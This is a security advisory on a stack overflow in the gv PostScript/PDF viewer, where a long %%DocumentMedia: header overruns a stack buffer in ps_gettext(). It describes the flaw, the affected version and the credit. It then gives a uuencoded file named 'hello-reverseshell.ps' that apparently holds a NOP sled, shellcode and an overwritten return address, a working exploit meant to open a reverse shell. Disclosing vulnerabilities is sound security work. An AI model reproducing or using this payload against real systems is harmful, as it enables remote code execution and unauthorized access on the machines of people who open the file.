GNU gv Stack Overflow Vulnerability (DocumentMedia, Exploit)
12 Nov. 2006
Summary
gv is "a comfortable viewer of PostScript and PDF files for the X Window System. It uses the ghostscript PostScript interpreter and is based on the classic X front-end for gs, ghostview, which it has replaced now". Overflowing the DocumentMedia parameter of gv allows attackers to cause the product to execute arbitrary code.
Credit:
The information has been provided by Renaud Lifchitz.
The 'gv' viewer is prone to a remote stack overflow vulnerability. This issue exists because the application fails to perform proper boundary checks before copying user-supplied data into process buffers. A remote attacker may execute arbitrary code in the context of a user running the application. As a result, the attacker can gain unauthorized access to the vulnerable computer.
This issue is present itself in the 'ps_gettext()' function residing in the 'ps.c' file.
Long comments in some specific headers (such as '%%DocumentMedia:') of PS files are unconditionally copied into 'text', a 257 character buffer on the stack.
This issue is reported to affect gv 3.6.2, but earlier versions are likely prone to this vulnerability as well. Applications using embedded gv code may also be vulnerable.
Exploit:
The following file can be used to test the exploit:
begin 644 hello-reverseshell.ps
M)2%04RU!9&]B92TS+C`*)254:71L93H@:&5L;&\N<',*)25&;W(Z(%)E;F%U
M9"!,:69C:&ET>B`M(%-Y<V1R96%M("T@:'1T<#HO+W=W=RYS>7-D<F5A;2YC
M;VTO"B4E0F]U;F1I;F=";W@Z(#(T(#(T(#4X."`W-C@*)25$;V-U;65N=$UE
M9&EA.B"0D)"0D)"0D#')@^GNV>[9="3T6X%S$](GKN*#Z_SB]./\_:&!3:R(
MM'\G`Q^G/;MB&&-BFUY7N8A/;DJ\T,B*PL;MA(&N3U*T=_^Q6\;M+U)UQLW]
M5,:*_47'C%O$_+%;QA[I'Z>NXD%!04%!04%!04%!04%!04%!04%!04%!04%!
M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
M04%!04%!04'OO`0(04%!(#8Q,B`W.3(@,"`H*2`H*0HE)41O8W5M96YT1&%T
M83H@0VQE86XW0FET"B4E3W)I96YT871I;VXZ($QA;F1S8V%P90HE)5!A9V5S
M.B`Q"B4E4&%G94]R9&5R.B!!<V-E;F0*)24K(&5N8V]D:6YG($E33RTX.#4Y
9+3%%;F-O9&EN9PHE)45N9$-O;6UE;G1S"@``
`
end
